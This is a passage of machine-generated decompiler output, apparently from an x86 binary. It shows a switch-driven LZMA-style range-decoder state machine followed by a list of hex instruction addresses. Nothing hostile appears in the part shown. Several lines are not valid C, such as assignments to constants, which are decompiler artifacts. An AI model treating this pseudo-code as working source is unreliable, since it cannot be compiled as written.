											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406c7b
0x00406c7b
0x00406c7b
0x00406c7b
0x00406c81
0x00406c85
0x00406c89
0x00406c93
0x00406ca1
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00406fae
0x00406fae
0x00406fb2
0x00000000
0x00000000
0x00406fb4
0x00406fbd
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd5
0x00406fee
0x00406ff1
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fe6
0x00406fe9
0x00406fe9
0x0040700b
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fb2
0x00000000
0x00000000
0x00000000
0x0040700d
0x0040700d
0x00406f86
0x00406f8a
0x004070c2
0x004070c2
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x004070e8
0x00406f90
0x00406f96
0x00406f9d
0x00406fa5
0x00406fa5
0x00406fa8
0x00000000
0x00406fa8
0x00407012
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00406f2e
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x004066d9
0x00000000
0x004066e0
0x004066e4
0x00000000
0x00000000
0x004066ea
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406745
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00407035
0x00000000
0x00407035
0x0040678f
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067b9
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00407044
0x00000000
0x00407044
0x004067ff
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f03
0x00406f07
0x004070b6
0x004070b6
0x00000000
0x004070b6
0x00406f0d
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x00000000
0x00000000
0x00406846
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00000000
0x004068d3
0x0040684d
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00406ae5
0x00406ae5
0x00406ae9
0x00406b07
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00000000
0x00000000
0x00406b4f
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00000000
0x00000000
0x00406b92
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c03
0x00406c07
0x00406c0e
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00000000
0x00406c1e
0x00406c09
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
